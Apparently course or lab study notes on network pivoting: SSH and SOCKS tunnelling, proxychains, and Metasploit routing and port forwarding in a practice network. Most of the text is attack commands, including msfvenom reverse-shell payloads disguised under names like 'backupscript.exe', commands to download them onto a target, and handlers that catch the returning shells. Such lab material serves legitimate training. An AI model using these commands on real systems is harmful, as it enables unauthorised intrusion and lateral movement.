Choosing The Dig Site & Starting Our Tunnels

Dynamic Port Forwarding with SSH and SOCKS Tunneling

SSH Local Port Forwarding

ssh -L 1234:localhost:3306 -l <user> <IP>

Setting up to Pivot

In the above image, the attack host starts the SSH client and requests the SSH server to allow it to send some TCP data over the ssh socket. The SSH server responds with an acknowledgment, and the SSH client then starts listening on localhost:9050. Whatever data you send here will be broadcasted to the entire network (172.16.5.0/23) over SSH. We can use the below command to perform this dynamic port forwarding.

ssh -D 9050 -l <user> <IP>

The -D argument requests the SSH server to enable dynamic port forwarding. Once we have this enabled, we will require a tool that can route any tool's packets over the port 9050

We can do this using the tool proxychains

Proxychains is often used to force an application's TCP traffic to go through hosted proxies like SOCKS4/SOCKS5, TOR, or HTTP/HTTPS proxies.

To inform proxychains that we must use port 9050, we must modify the proxychains configuration file located at /etc/proxychains.conf. We can add socks4 127.0.0.1 9050 to the last line if it is not already there.

tail -4 /etc/proxychains.conf

[ProxyList]
socks4 	127.0.0.1 9050

Now when you start Nmap with proxychains using the below command, it will route all the packets of Nmap to the local port 9050, where our SSH client is listening, which will forward all the packets over SSH to the 172.16.5.0/23 network.

proxychains nmap -v -sn 172.16.5.1-200

we can only perform a full TCP connect scan over proxychains. The reason for this is that proxychains cannot understand partial packets. We also need to make sure we are aware of the fact that host-alive checks may not work against Windows targets because the Windows Defender firewall blocks ICMP requests (traditional pings) by default.

proxychains nmap -v -Pn -sT <IP>

Using Metasploit with Proxychains

proxychains msfconsole
search rdp_scanner
use 0
set rhosts <IP>
run

Using xfreerdp with Proxychains

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Remote/Reverse Port Forwarding with SSH

We first use the Ubuntu server as host to transfer the malicious files to the Windows machine

msfvenom -p windows/x64/meterpreter/reverse_https lhost=<UbuntuIP> -f exe -o backupscript.exe LPORT=8080

scp backupscript.exe ubuntu@<UbuntuIP>:~/

on Ubuntu server:

python3 -m http.server 8123

We download the file from the Windows machine:

Invoke-WebRequest -Uri "http://<UbuntuIP>:8123/backupscript.exe" -OutFile "C:\backupscript.exe"

Then we create a reverse port forward from the port 8080 of the Ubuntu server to our machine's port 8000

ssh -R <WindowsIP>:8080:0.0.0.0:8000 ubuntu@<UbuntuIP> -vN

After creating the SSH remote port forward, we can execute the payload from the Windows target. If the payload is executed as intended and attempts to connect back to our listener, we can see the logs from the pivot on the pivot host.

On Attacker machine, start msfconsole and:

use exploit/multi/handler
set LPORT 8000
set LHOST 0.0.0.0
set payload windows/x64/meterpreter/reverse_https

Our Meterpreter session should list that our incoming connection is from a local host itself (127.0.0.1) since we are receiving the connection over the local SSH socket, which created an outbound connection to the Ubuntu server. Issuing the netstat command can show us that the incoming connection is from the SSH service.

Meterpreter Tunneling & Port Forwarding

We can create a Meterpreter shell for the Ubuntu server with the below command, which will return a shell on our attack host on port 8080.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<AttackerIP> -f elf -o backupjob LPORT=8080

Before copying the payload over, we can start a multi/handler, also known as a Generic Payload Handler (as above, different payload).

use exploit/multi/handler
set lhost 0.0.0.0
set lport 8080
set payload linux/x64/meterpreter/reverse_tcp
run

We can copy the backupjob binary file to the Ubuntu pivot host over SSH and execute it to gain a Meterpreter session.

We need to make sure the Meterpreter session is successfully established upon executing the payload.

[*] Sending stage (3020772 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826 ) at 2022-03-03 12:27:43 -0500
meterpreter > pwd

So assuming that the firewall on the Windows target is allowing ICMP requests, we would want to perform a ping sweep on this network. We can do that using Meterpreter with the ping_sweep module, which will generate the ICMP traffic from the Ubuntu host to the network 172.16.5.0/23.

run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23

Here are two helpful ping sweep for loop one-liners we could use for Linux-based and Windows-based pivot hosts.

for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done

for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"

1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}

It is possible that a ping sweep may not result in successful replies on the first attempt, especially when communicating across networks. This can be caused by the time it takes for a host to build it's arp cache. In these cases, it is good to attempt our ping sweep at least twice to ensure the arp cache gets built.

There could be scenarios when a host's firewall blocks ping (ICMP), and the ping won't get us successful replies.

In these cases, we can perform a TCP scan on the 172.16.5.0/23 network with Nmap. Instead of using SSH for port forwarding, we can also use Metasploit's post-exploitation routing module socks_proxy to configure a local proxy on our attack host.

We will configure the SOCKS proxy for SOCKS version 4a. This SOCKS configuration will start a listener on port 9050 and route all the traffic received via our Meterpreter session.

msf6 > use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
run

Confirming Proxy Server is Running

msf6 auxiliary(server/socks_proxy) > jobs

After initiating the SOCKS server, we will configure proxychains to route traffic generated by other tools like Nmap through our pivot on the compromised Ubuntu host.

add the below line at the end of our proxychains.conf file located at /etc/proxychains.conf if it isn't already there. (if there isn't a fiel already, remember to include the [ProxyList] section before this line)

socks4 127.0.0.1 9050

Finally, we need to tell our socks_proxy module to route all the traffic via our Meterpreter session. We can use the post/multi/manage/autoroute module from Metasploit to add routes for the 172.16.5.0 subnet and then route all our proxychains traffic.

msf6 > use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.5.0
run

OR from meterpreter directly:

meterpreter > run autoroute -s 172.16.5.0/23

After adding the necessary route(s) we can use the -p option to list the active routes to make sure our configuration is applied as expected.

meterpreter > run autoroute -p

Testing Proxy & Routing Functionality

proxychains nmap <WindowsIP> -p3389 -sT -v -Pn

Port Forwarding

Port forwarding can also be accomplished using Meterpreter's portfwd module.

We can enable a listener on our attack host and request Meterpreter to forward all the packets received on this port via our Meterpreter session to a remote host on the 172.16.5.0/23 network.

meterpreter > help portfwd

Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

    -h        Help banner.
    -i <opt>  Index of the port forward entry to interact with (see the "list" command).
    -l <opt>  Forward: local port to listen on. Reverse: local port to connect to.
    -L <opt>  Forward: local host to listen on (optional). Reverse: local host to connect to.
    -p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.
    -r <opt>  Forward: remote host to connect to.
    -R        Indicates a reverse port forward.

portfwd add -l 3300 -p 3389 -r 172.16.5.19

The above command requests the Meterpreter session to start a listener on our attack host's local port (-l) 3300 and forward all the packets to the remote (-r) Windows server 172.16.5.19 on 3389 port (-p) via our Meterpreter session.

Now, if we execute xfreerdp on our localhost:3300, we will be able to create a remote desktop session.

xfreerdp /v:localhost:3300 /u:victor /p:pass@123

Netstat Output

netstat -antp

tcp        0      0 127.0.0.1:54652         127.0.0.1:3300          ESTABLISHED 4075/xfreerdp

Meterpreter Reverse Port Forwarding

Similar to local port forwards, Metasploit can also perform reverse port forwarding with the below command, where you might want to listen on a specific port on the compromised server and forward all incoming shells from the Ubuntu server to our attack host.

We will start a listener on a new port on our attack host for Windows and request the Ubuntu server to forward all requests received to the Ubuntu server on port 1234 to our listener on port 8081.

meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18

Configuring & Starting multi/handler

meterpreter > bg

[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081 
LPORT => 8081
msf6 exploit(multi/handler) > set LHOST 0.0.0.0 
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:8081 

Generating the Windows Payload

As above, be mindful that the UbuntuIP used here is the network interface for the windows network segment.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<UbuntuIP> -f exe -o backupscript.exe LPORT=1234

Finally, if we execute our payload on the Windows host, we should be able to receive a shell from Windows pivoted via the Ubuntu server.